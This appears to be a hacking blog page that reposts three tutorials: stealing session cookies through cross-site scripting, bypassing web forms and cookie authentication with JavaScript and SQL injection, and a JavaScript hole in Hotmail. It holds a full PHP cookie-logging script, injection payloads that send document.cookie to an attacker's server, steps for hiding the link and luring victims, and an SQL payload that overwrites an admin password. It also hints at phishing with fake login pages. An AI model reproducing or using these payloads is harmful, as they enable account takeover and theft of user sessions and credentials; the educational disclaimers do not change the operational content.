IP

Wednesday, December 1, 2010

Stealing Cookie With XSS

Introduction





I thought it was about time for someone to post a cookie stealing tutorial, so I decided to write one for you
 from the ground up.


NOTE: Again... this was written to educate you on the security aspects of the following information, not to
 teach you how to break the law or do something stupid. Use what you learn from this to make your 
website more secure/use better browsing habits, not break into other websites.


Background





First, make sure you've read these two articles because I'm going to assume you already understand 
everything written in them:


All About Cookies and Security in next post


Now we need to understand a bit more about how XSS actually works before moving on. From the above
 article, you already know a bit of the theory behind XSS, so we'll get right to the code. Let's say a 
web page has a search function that uses this code:


Code:
<tr><td>Name</td><td><input type="text" name="advisor_name" value=""></td></tr>
We want to exploit this page using XSS. How do we do that? We know that we want to inject our 
own script into the value field (this field is tied to the search box we can enter text into).
 We could start by using a test script:


Code:
<script>alert("test")</script>
When we enter this into the search box and click search, nothing happens. Why? It's still inside the value
 quotes, which turn the entire script into plaintext. If you look at the page source now, you see that the
 above portion of code now looks like this:


Code:
<tr><td>Name</td><td><input type="text" name="advisor_name" value="<script>alert("test")</script>"></td></tr>
Note the quotes around our script. So what do we do? We need to end the value field before our script
 can actually be executed. So we tweak our test injection a bit:


Code:
"><script>alert("test")</script>
This should close the quotes end the input section so that our script can be rendered as a part of the source 
instead of plaintext. And now when we hit enter we get a nice pop-up box saying "test", showing us our
 script was executed. Keep in mind that you're not actually writing this data to the server (unless you're
 injecting it with a script that actually modifies the page on the server's end also, like a guestbook or comment
 script), just changing how the dynamic page is acting on your end. If you want someone else to see what you
 see when you use this injection, you need to send them the link with that injection already in the page.
 For example,
Code:
http://www.site.com/search.php?q="><script>alert("test")</script>
Of course, if you don't want the recipient to see the injection, you'll need to hex the query. 
You can do that here:
Code:
http://centricle.com/tools/ascii-hex/
Hexing the query of this url gives us
Code:
http://www.site.com/search.php?q=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%74%65%73%74%22%29%3c%2 f%73%63%72%69%70%74%3e
The above is a very simple case of finding an XSS injection vulnerability. Some html and javascript 
knowledge is definitely helpful for finding more complicated ones, but code like the above works often 
enough.


Using XSS to Steal Cookies





OK, so now you know the page is vulnerable to XSS injection. Great. Now what? You want to make it do something useful, like steal cookies. Cookie stealing is when you insert a script into the page so that everyone
 that views the modified page inadvertently sends you their session cookie. By modifying your session 
cookie (see the above linked tutorial), you can impersonate any user who viewed the modified page.
 So how do you use XSS to steal cookies?


The easiest way is to use a three-step process consisting of the injected script, the cookie recorder,
 and the log file.


First you'll need to get an account on a server and create two files, log.txt and whateveryouwant.php. 
You can leave log.txt empty. This is the file your cookie stealer will write to. Now paste this php code into
 your cookie stealer script (whateveryouwant.php):


Code:
<?php 

function GetIP() 
{ 
 if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
  $ip = getenv("HTTP_CLIENT_IP"); 
 else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
  $ip = getenv("HTTP_X_FORWARDED_FOR"); 
 else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
  $ip = getenv("REMOTE_ADDR"); 
 else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
  $ip = $_SERVER['REMOTE_ADDR']; 
 else 
  $ip = "unknown"; 
 return($ip); 
} 

function logData() 
{ 
 $ipLog="log.txt"; 
 $cookie = $_SERVER['QUERY_STRING']; 
 $register_globals = (bool) ini_get('register_gobals'); 
 if ($register_globals) $ip = getenv('REMOTE_ADDR'); 
 else $ip = GetIP(); 

 $rem_port = $_SERVER['REMOTE_PORT']; 
 $user_agent = $_SERVER['HTTP_USER_AGENT']; 
 $rqst_method = $_SERVER['METHOD']; 
 $rem_host = $_SERVER['REMOTE_HOST']; 
 $referer = $_SERVER['HTTP_REFERER']; 
 $date=date ("l dS of F Y h:i:s A"); 
 $log=fopen("$ipLog", "a+"); 

 if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) 
  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>"); 
 else 
  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n"); 
 fclose($log); 
} 

logData(); 

?>
This script will record the cookies of every user that views it.


Now we need to get the vulnerable page to access this script. We can do that by modifying our
 earlier injection:


Code:
"><script language= "JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>
yoursite.com is the server you're hosting your cookie stealer and log file on, and whateversite.com is
 the vulnerable page you're exploiting. The above code redirects the viewer to your script, which records
 their cookie to your log file. It then redirects the viewer back to the unmodified search page so they
 don't know anything happened. Note that this injection will only work properly if you aren't actually
 modifying the page source on the server's end. Otherwise the unmodified page will actually be the
 modified page and you'll end up in an endless loop. While this is a working solution, we could eliminate this potential issue when using source-modifying injections by having the user click a link that redirects them to 
our stealer:


Code:
"><a href="#" onclick="document.location='http://yoursite.com/whateveryouwant.php?cookie=' +escape(document.cookie);"><Click Me></a></script>
This will eliminate the looping problem since the user has to cilck on it for it to work, and it's only a one-way
 link. Of course, then the user's trail ends at your cookie stealing script, so you'd need to modify that code a 
little to keep them from suspecting what's going on. You Could just add some text to the page saying 
something like "under construction" by changing the end of our php script from this:


Code:
logData(); 
?>
to this:
Code:
logData();

echo '<b>Page Under Construction</b>'
?>
Now when you open log.txt, you should see something like this:


Code:
IP: 125.16.48.169 | PORT: 56840 | HOST:  |  Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 | METHOD:  | REF: http://www.ifa.org.nz/search.php |  

DATE: Tuesday 21st 2009f April 2009 05:04:07 PM | COOKIE:  cookie=PHPSESSID=889c6594db2541db1666cefca7537373
You will most likely see many other fields besides PHPSESSID, but this one is good enough for this
 example. Now remember how to edit cookies like I showed you earlier? Open up firebug and add/modify
 all your cookie's fields to match the data from the cookie in your log file and refresh the page.
 The server thinks you're the user you stole the cookie from. This way you can log into accounts and 
many other things without even needing to know the passwords or usernames.


Summary





So in summary:
1. Test the page to make sure it's vulnerable to XSS injections.
2. Once you know it's vulnerable, upload the cookie stealer php file and log file to your server.
3. Insert the injection into the page via the url or text box.
4. Grab the link of that page with your exploited search query (if injection is not stored on the server's 
copy of the page).
5. Get someone to use that link if necessary.
6. Check your log file for their cookie.
7. Modify your own cookie to match the captured one and refresh the page.


References





I originally posted this article on TechMafias.com but reposted it here for the go4expert community.
Code:
http://techmafias.com/forum/Thread-tutorial-cookie-stealing-with-xss


HACKING WITH JAVASCRIPT


This tutorial is an overview of how javascript can be used to bypass simple/advanced html forms and how it can be used to override cookie/session authentication.
SIMPLE HTML FORMS

1. Bypassing Required Fields

Surely you have met a webpage that requires you to fill all fields in a form in order to submit it. It is possible to bypass these types of restrictions on any webpage. If you take a look at the webpage's source and follow it down to the form's code, you will notice the onsubmit form attribute. Hopefully by this time you have experienced the power ofjavascript and you know that javascript has control over every single element in a webpage, including forms.We can use javascript to our advantage in every page we view for we can modify, delete, or add any element to the webpage. In this case we wish to clear the form's onsubmit attribute in order for the form to be submitted successfully.
The onsubmit attribute generally points to a function that checks the form to have the correct format. A function that does this may look something like this:
                function formSubmit(x)
                {
                        if(x.email.value=="") return false;
                        return true;
                }

                ...

<form name="spamform" method=post action="process.php" onsubmit="return formSubmit(this);">
                ...
                </form>

I will not go into great detail about how the formSubmit function works. You should know that if the (textfield/optionfield/option/..) field is left blank, the form will not be submitted to process.php. Now comes the moment of truth, how do we modify the form so that onsubmit returns true everytime? The way we can access the form with javascript and do this is:
                document.forms[x].onsubmit="return true;";

                or

                document.spamform.onsubmit="return true;";

Both of these 'queries' will allow you to submit the form free of restrictions. The secret is how to execute this. I do this using my browser's Location bar. All you have to do is enter this text into the location bar and press enter:
                javascript:document.spamform.onsubmit="return true;";

The above statement will not work because the 'query' will return a value javascript doesn't know what to do with it so it dumps the returned value on the screen. We need a way to use this value and escape it from passing on to javascript. I know the exact way to do this, with alert()!
                javascript:alert(document.spamform.onsubmit="return true;");

You will see an alertbox with "return true;" instead of dumping this value out to the webbrowser. Once you have executed this query you will be able to enter whatever value into whatever field in spamform.


2. Changing Fields' Values

If you have managed to change a form's onsubmit attribute to let you do whatever the fuck you want, what are the limits? Of course now you know that you can modify the onsubmit attribute of a form from the location bar, same goes for any attributes of any object in the page. This is how you can do it:
                javascript:alert(document.spamform.fieldname.value="Dr_aMado was here!");

                or

                javascript:alert(document.forms[x].fieldname.value="Dr_aMado was here!");

But of course, you already knew that. Didn't you? You can change the values of pretty much anything inside a form, including radios, checkboxes, selects, hidden values, buttons, anything!

SQL INJECTIONS

1.  Using Forms to Your Advantage

You probably already know about sql injection, my goal is to explain how vulnerable forms can be if not handled correctly. When targeting a system, most times you will start off with 0 code to exploit. The only thing you have is a constructed webpage to break to pieces and successfully find vulnerabilities to use to your advantage.
                ACQUIRING DATABASE INFORMATION

A very logic way of acquiring system information from a website's database is by causing errors in the sql queries. These errors can be created through search forms, dynamic links, or session cookies. Most sql injection papers explain how dynamic links and text boxes can be used to execute sql queries but in my opinion, this vulnurability is more common in other input types (select boxes, hidden fields, checkboxes and radio buttons, and cookies!).
Mixing data types generally crashes a webpage if it's not well coded. Take for example a link to "memberinfo.php?o_id=1". If your goal is to crash that page it would be a good idea to stick in a " or a ' in the o_id variable. If you're lucky you will get a debug message containing the crippled sql query. After you have all the information you need and you know what you're going after you're ready to hack the hell out of every page that you have access to.
                CHANGING FIELDS' VALUES

The first form you think of is the profile page. Most profile pages ignore a user's intellectuals and don't mask out,for example, select boxes. A way of exploiting this vulnerability is by injecting a sql query in the value property of the field.
javascript:alert(document.profileform.user_sex.value="gay\',user_pasword=\'HACKED\' WHERE user_id=1#");
        If we assume that the server side sql query looks something like this:

"UPDATE user_data SET user_password='$user_password',user_email='$user_email',user_sex='$user_sex' WHERE user_id=$user_id";
                Then the final query will look somewhat like this:

"UPDATE user_data SET user_password='mypassword',user_email='myemail',user_sex='gay',user_password='HACKED' WHERE
                user_id=1 #' WHERE user_id=7382";

                # Is a sql comment operator.

2.  Bypassing Session Cookies

                OVERRIDING BASIC SESSION COOKIE AUTHENTICATION

Most of the time session handling is done with the use of cookies. The cookies tell the webpage who you are and what you have access to and what you don't have access to. If the page does not handle session cookies correctly a hacker might be able to change their identity to that of another user's. Cookies are stored in "window.document.cookie". Withjavascript we are able to erase,edit,create cookies for any website. This task is more complicated than regular types of attacks. I will not go into great detail about how it's done.
                To View the Cookie:
                        javascript:alert(unescape(document.cookie));

                To Change Cookie Data:

javascript:alert(window.c=function a(n,v,nv){c=document.cookie;c=c.substring(c.indexOf(n)+n.length,c.length);c=c.substring(1,((c.indexOf(";")>-1) ? c.indexOf(";") :c.length));nc=unescape(c).replace(v,nv);document.cookie=n+"="+escape(nc);return unescape(document.cookie);});alert(c(prompt("cookie name:",""),prompt("replace this value:",""),prompt("with::","")));
So If You are logged in as "John Doe" in www.ima13370h4x0r.net and your session cookie reads:
                        
SessionData=a:3:{s:11:"SessionUser";s:5:"75959";s:9:"SessionID";i:70202768;s:9:"LastVisit";i:1078367189;}

The cookie is actually serialized but you should be able to recognize "75959" as your user_id. Some of the time you will find a website that stores data (like user_id) in cookies but does not typecast the data. This is a serious hole in the site's code because any user is able to change their user_id to any other user or administrator user_id.
Changing the cookie value is easy once you have declared the window.c function. First change s:5:"75959" to s:x:"ADMINID" where x is the length of the new value. So if you want to change 75959 to 1. You must change s:5:"75959" to s:1:"1" :-) Sometimes you will need to change 75959 to "13 or 1=1" in order to bypass any WHERE statements any sql session queries used to keep you logged in the website.

----------------------------------------------------------------------------------
Notes:
In-line javascript statements can be added to your browser's favorites for easier access to your own functions. It is possible to declare your own functions for use in extended hacks. Declare the function as a method of window. "alert(window.newfunction = function (){...})"
----------------------------------------------------------------------------------

Tuesday, November 30, 2010

Web Based E-mail (Hotmail Yahoo Gmail) Hack/Hacking with JavaScript

From here on in you walk alone. Neither little_v OR Black Sun Research Facility AND its members will be responsible for what you do with the information presented here. Do not use this information to impress your “l33t0_b0rit0″ friends. Do not operate in shower. Objects in article may be closer than they appear.
Note: If you see (x), where x is a number, it means that this term is defined at (x) at the bottom of this article.
Intro
The purpose of this article is NOT, I repeat, NOT to teach someone how to “hack an email account”. It’s true purpose is actually MUCH more devious. The purpose of this and all other articles in the “An Exploit Explained: ” series is to teach readers about various webtechnologies, and the basics of security and exploiting. I will try to give you a hands-on, learn as you go type of education in computer security. Sound good??? Then let’s get in to it!!
Preface
On Wednesday, Sept. 22 1999, yet another bleary day in the life of little v, the following message was sent to my inbox:
To: BugTraq
Subject: Yet another major Hotmail security hole -
injecting JavaScript using "javasCript:"
Date: Wed Sep 22 1999 10:48:04
Author: Georgi Guninski
Message-ID: <37E8D004.EF848F34@nat.bg> 

Yet another major Hotmail security hole - injecting
JavaScript using "javasCript:"

There is a major security flaw in Hotmail which allows
injecting and executing JavaScript code in an email
message using the javascript protocol. This exploit
works both on Internet Explorer 5.0 (guess IE 4.x)
and Netscape Communicator 4.x. Hotmail filters the
"javascript:" protocol for security reasons. But it
does not filter properly the following case:
"javasCript:" where "C" is the ASCII code of "C".

So the following HTML is executed <IMG
SRC="javasCript:alert('JavaScript is executed');">
if the user has enabled automatically loading of
images (most users have).

Probably this may be used in other HTML tags.

Executing JavaScript when the user opens Hotmail
email message allows for example displaying a fake
login screen where the user enters his password
which is then stolen. I don't want to make a scary
demonstration, but I am sure it is also possible to
read user's messages, to send messages from user's
name and doing other mischief. Hotmail deliberately
escapes all JavaScript (it can escape) to prevent such
attacks, but obviously there are holes. It is much
easier to exploit this vulnerability if the user uses
Internet Explorer 5.0. AFAIK this is not a browser
problem, it is Hotmail's problem.

Workaround: Disable JavaScript

The code is:
<IMG SRC="javasCript:alert('JavaScript is executed');a=window.open(document.links[2]);setTimeout('alert(\'The first message in your Inbox is from : \'+a.document.links[26].text)',20000)"> .... <snip> .... Regards, Georgi Guninski http://www.securityfocus.com/external/http://www.nat.bg/~joro
Ok, don’t puke, I’m going to explain what just happened in a fashion that even your dog can understand.
What is this all about?
This important part of this posting to the Bugtraq(1) (http://www.securityfocus.com) mailing list is the actual exploit(2).
The exploit would be:
<IMG SRC=”javasCript:alert(‘JavaScript is
executed’);a=window.open(document.links[2]);setTimeout(‘alert(\’The
first message in your Inbox is from :
\’+a.document.links[26].text)’,20000)”>
What does it do?
As this exploit, when put into an email message sent to a hotmail user, opens a little box using the “alert()”(3) function in javascript(4), and is also supposed to read who the first message in your inbox is from. However, this code does not work on its own. You see, the email also says that you need to use the ASCII(5) code for “C” in the message. If I get out my handy HTML reference book, I can see that the ASCII code is C. If we substitute this into our little exploit, minus the “read who the first message in your inbox” part, we get this:
<IMG SRC=”javasCript:alert(‘JavaScript is executed’)”>
How does it work?
Finding out how an exploit works is always the part that makes people a bit spindizzy. If we look at that gibberish we call code one more time we can see that it uses an <IMG> tag, which all you who took my HTML tutorial would know is to display an image onto the page. Because hotmail tries to be the “top dog” webmail provider, they allow you to set autoloading of images, so the image just shows up on the same page as the mail. When you open a new hotmail account, this option is already set (hurray!). The conflict happens because your normal browser allows you to put javascript tags into your IMG tags. Because JavaScript is a strong little language, and allows just about full control over someone’s browser, if the conditions are right. Naturally, people like you and me started exploiting hotmail’s allowing of javascript. Soon, the <SCRIPT> tag (the normal way to add javascript to a page) was banned from use in hotmail messages by way of filtering(6) (boo! hiss!). So normal guys like you and me had to “inject”, or put into other html tags, our javascript exploits. The IMG tag is perfect for this, when combined with it’s autoloading capabilities. This discovery led to the filtering, yet again, of javascript injected into IMG tags. Of course, hackers ALWAYS find a way, and today we combine IMG-injecting with ASCII tags to give you the current exploit.
What else can I do with this hole in Hotmail’s Security?
As is the case with many exploits, the sky is the limit. If you know javascript, you can pretty much have a field day with this exploit. If you don’t, here’s a few more snippets of code to get you started:
This code opens a window with Darknet’s main page in it when the hotmail user opens your mail:
<IMG SRC=”javasCript:window.open(‘http:://www.darknet.org.uk’)”>
Note that the above code could point to any page at all (even one that simulates hotmail’s “you have been logged out” screen. *wink* *wink* HINT HINT ;-) )
This code opens 100 windows with Darknet’s main page in it (tee hee! self promotion is good!):
<IMG SRC=”javasCript:for(var i = 0; i < 100; i++) window.open(‘http:://www.darknet.org.uk’);”>
The rest is up to you, my friend. By the way, if Hotmail finds a way to make this exploit null and void, please don’t mail me, as I probably already know. Just keep looking for the next big exploit, and then when you’ve found it, you may tell me.
Terms Defined
(1) Bugtraq – A mailing list where people publicize holes and exploits in various softwares. I highly suggest that you subscribe at http://www.securityfocus.com.
(2) Exploit – Webster’s dictionary sez: ” exploit (eks’ploit’) – an act remarkable for brilliance or daring; bold deed”. Wow. Think of that the next time you steal someone’s ICQ password.
(3) alert() function – A function built into the Javascript language that brings up a rectangle box with the message passed to the alert() function in it. Note: alert(‘message goes here’)
(4) Javascript – A scripting language built into most popular browsers that gives much greater control over web page content than HTML alone (chicks dig pages with javascript 2 to 1 over standard HTML!).
(5) ASCII – A standard for characters on and beyond the normal keyboard.
(6) Filtering – A way to ‘catch and detain’ certain text or commands. Hotmail, for example, filters for the “javascript” text.
Some URLs
(1) http://www.htmlgoodies.com – they have some javascript tutorials if you wanna learn javascript.
(2) http://come.to/the-lamer – they have some fake hotmail pages that will make you think you were logged out for some reason and ask you to input your password. They also have some tutorials on how to use these pages, etc’ etc’ etc’.
From Blacksun